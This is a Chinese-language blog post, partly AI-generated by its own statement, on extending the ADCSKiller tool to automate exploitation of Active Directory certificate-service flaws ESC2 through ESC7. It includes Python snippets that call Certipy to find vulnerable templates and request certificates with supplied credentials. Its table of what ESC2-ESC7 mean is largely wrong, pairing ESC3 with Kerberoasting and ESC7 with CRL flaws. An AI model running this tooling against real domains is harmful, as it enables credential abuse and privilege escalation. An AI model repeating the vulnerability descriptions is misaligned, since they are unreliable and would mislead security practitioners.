ADCSKiller与Certipy深度集成:如何扩展支持ESC2-ESC7漏洞利用

发布时间:2026/7/14 8:03:20
ADCSKiller与Certipy深度集成:如何扩展支持ESC2-ESC7漏洞利用 ADCSKiller与Certipy深度集成如何扩展支持ESC2-ESC7漏洞利用【免费下载链接】ADCSKillerAn ADCS Exploitation Automation Tool Weaponizing Certipy and Coercer项目地址: https://gitcode.com/gh_mirrors/ad/ADCSKillerADCSKiller是一款强大的ADCSActive Directory证书服务漏洞利用自动化工具它通过深度集成Certipy与Coercer工具实现了对ADCS漏洞的自动化检测与利用。本文将详细介绍如何扩展ADCSKiller使其支持ESC2至ESC7漏洞的利用帮助安全从业者更全面地评估企业ADCS环境的安全性。一、ADCSKiller核心功能解析ADCSKiller的核心功能集中在adcskiller.py文件中主要通过以下模块实现ADCS漏洞的自动化利用证书模板漏洞检测通过调用Certipy的find命令扫描域内易受攻击的证书模板certipy_results subprocess.run([certipy, find, -u, f{self.__username}{self.__domain}, -p, self.__password, -dc-ip, self.__target, -vulnerable, -json, -output, self.__certipy_output_prefix], capture_outputTrue, textTrue).stdout该命令会生成包含漏洞信息的JSON报告ADCSKiller通过解析报告识别ESC系列漏洞。当前支持的漏洞利用在run_exploits方法中ADCSKiller目前仅实现了ESC1和ESC8的利用逻辑certificate_exploits { ESC1: self.exploit_esc1 } environment_exploits { ESC8: self.exploit_esc8 }这为扩展ESC2-ESC7的支持提供了清晰的代码结构参考。二、扩展ESC2-ESC7支持的技术路径1. 理解ESC2-ESC7漏洞原理漏洞类型核心原理利用关键点ESC2低权限用户可申请高权限模板模板权限配置不当ESC3证书模板允许客户端身份验证结合Kerberoasting攻击ESC4证书模板启用了CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT自定义Subject字段ESC5CA服务器允许证书代理请求滥用代理 enrollment 功能ESC6证书模板存在重复名称冲突覆盖高权限证书ESC7证书吊销列表(CRL)配置缺陷绕过证书吊销检查2. 扩展漏洞检测模块在fetch_certipy_results方法中ADCSKiller已实现对ESC1的识别逻辑for i in range(1, 8): if fESC{i} in vulnerabilities: if fESC{i} not in self.__vulnerable_certificate_templates: self.__vulnerable_certificate_templates[fESC{i}] [] self.__vulnerable_certificate_templates[fESC{i}].append(template[Template Name])这段代码已支持ESC1-ESC7的检测结果收集无需额外修改即可识别所有ESC漏洞类型。3. 实现漏洞利用逻辑参照exploit_esc1方法为ESC2-ESC7添加对应的利用函数certificate_exploits { ESC1: self.exploit_esc1, ESC2: self.exploit_esc2, ESC3: self.exploit_esc3, ESC4: self.exploit_esc4, ESC5: self.exploit_esc5, ESC6: self.exploit_esc6, ESC7: self.exploit_esc7 }以ESC2为例其利用函数可设计为def exploit_esc2(self) - None: for template in self.__vulnerable_certificate_templates[ESC2]: print(f[*] Exploiting ESC2 with template {template}) # 利用Certipy请求证书 certipy_results subprocess.run([certipy, req, -u, f{self.__username}{self.__domain}, -p, self.__password, -target, self.__target, -ca, self.__ca, -template, template, -out, f{template}_esc2], capture_outputTrue, textTrue).stdout if Got certificate in certipy_results: print(f[] ESC2 exploitation successful for template {template})三、环境配置与依赖管理ADCSKiller的依赖项定义在requirements.txt中扩展功能时需确保添加必要的依赖argparse ldap3 # 扩展ESC5-ESC7可能需要的额外依赖 pycryptodome3.10.1 asn1crypto1.5.1通过以下命令安装依赖pip install -r requirements.txt四、完整扩展流程总结识别漏洞模板通过Certipy的JSON输出解析ESC2-ESC7对应的证书模板实现利用函数参照ESC1的实现为每个漏洞类型编写专用exploit方法集成到主流程在certificate_exploits字典中注册新实现的漏洞利用函数测试验证在ADCS测试环境中验证扩展功能的有效性通过以上步骤ADCSKiller将能够全面支持ESC1-ESC8的自动化利用为ADCS安全评估提供更完整的工具链支持。安全从业者可根据实际需求进一步扩展工具的漏洞覆盖范围和利用能力。【免费下载链接】ADCSKillerAn ADCS Exploitation Automation Tool Weaponizing Certipy and Coercer项目地址: https://gitcode.com/gh_mirrors/ad/ADCSKiller创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考